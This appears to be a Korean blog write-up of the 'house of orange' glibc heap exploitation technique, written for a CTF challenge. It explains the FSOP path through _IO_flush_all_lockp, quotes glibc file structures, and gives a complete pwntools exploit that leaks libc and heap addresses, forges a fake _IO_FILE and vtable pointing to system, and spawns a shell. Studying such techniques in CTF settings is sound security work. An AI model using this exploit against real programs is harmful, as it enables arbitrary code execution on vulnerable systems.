내신공부를 하다가 잊어버린 힙트릭.. YISF 대회 당시에 공부해서 익스했던 고통이 있어서 다시 공부하고 해당 문제를 풀어보았다. 역시 재미있다!! _IO_FILE_plus 구조체에 있는 _IO_FILE과 _IO_jump_t 를 이용해야한다 이때 _IO_list_all은 _IO_FILE_plus 구조체에 대한 구조체 포인터이다.
_int_malloc에서 메모리 손상을 탐지하면
_int_malloc() → malloc_printerr() → __libc_message → __FI_abort() → _IO_flush_all_lockp()
다음과 같은 순서로 함수를 호출하게 되는데 이때 이 _IO_flush_all_lockp()에서 발생하는 문제를 이용해 익스를 한다. 아래는 _IO_flush_all_lockp()의 코드이다
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
아래 보이는 코드에서 if문을 참으로 만들어 _IO_OVERFLOW(fp)를 실행시킬 수 있다. 이때 이 _IO_OVERFLOW는 _IO_jump_t에서 값을 넣을 수 있는데 system이나 one_shot 가젯을 _IO_OVERFLOW에 넣어 쉘을 얻을 수 있다!
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 요놈을 참으로 만들어주는게 가장 쉽다 :) (YISF땐 아랫놈으로 익스해야함..)
익스 할때 참고하면서 fake vtable을 작성하자.
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
fake IO_file을 만들어주고 아래 vtable의 주소를 넣어주면 되는데 0xd8만큼 떨어져있다. ljust로 쓱싹
@ _IO_FILE @
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
@ _IO_jump_t @
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
이걸 잘 참고하면서 앞전의 if를 실행시키면 된다!! _IO_jump_t에서 24바이트 만큼 떨어진 곳에 값을 쓰면 _IO_overflow에 값을 쓸 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
from pwn import *
s = process("./house_of_orange")
elf = ELF("./house_of_orange")
libc = ELF("./libc.so.6")
def build(name_size,name,price):
s.sendlineafter(":","1")
s.sendlineafter(":",str(name_size))
s.sendafter("Name :",name)
s.sendlineafter(":",str(price))
s.sendlineafter(":","1")
def see():
s.sendlineafter(" : ","2")
def upgrade(name_size,name,price):
s.sendlineafter(" : ","3")
s.sendlineafter(":",str(name_size))
s.sendafter(":",name)
s.sendlineafter(":",str(price))
s.sendlineafter(":","1")
def quit():
s.sendlineafter(" : ","4")
maxs = 4096
gdb.attach(s)
build(128,"A"*8,128)
upgrade(maxs,"a"*(8*17)+p64(0x21)+p64(0)*3+p64(0xf31),128)
build(4000,"B"*128,128)
build(1024,"C"*8,128)
see()
s.recvuntil("C"*8)
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - 0x3c5188
system = libc_base + libc.symbols['system']
io_list_all = libc_base + libc.symbols['_IO_list_all']
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "io_list_all : " + hex(io_list_all)
upgrade(maxs,"C"*16,128)
see()
s.recvuntil("C"*16)
heap = u64(s.recv(6)+"\x00\x00")
print "heap : " + hex(heap)
heap_base = heap - 0x130
print "heap_base : " + hex(heap_base)
io_file = "/bin/sh\x00"
io_file += p64(0x61)
io_file += p64(0)
io_file += p64(io_list_all - 0x10)
io_file += p64(0)
io_file += p64(1)
io_file = io_file.ljust(0xd8,"\x00")
io_file += p64(heap_base+0x640)
io_jump = p64(0)*3
io_jump += p64(system)
pay = "A"*0x420
pay += io_file
pay += io_jump
upgrade(maxs,pay,128)
s.sendlineafter(":","1")
s.interactive()
|
cs |
[RedpwnCTF_2019] Dennis Says (0) | 2019.08.17 |
---|---|
[RCTF 2018] babyheap (0) | 2019.08.14 |
[WITHCON 2016] normal malloc (0) | 2019.02.26 |
[WITHCON 2016] malloc (0) | 2019.02.26 |
[Hackingcamp 19] ucanfind (0) | 2019.02.20 |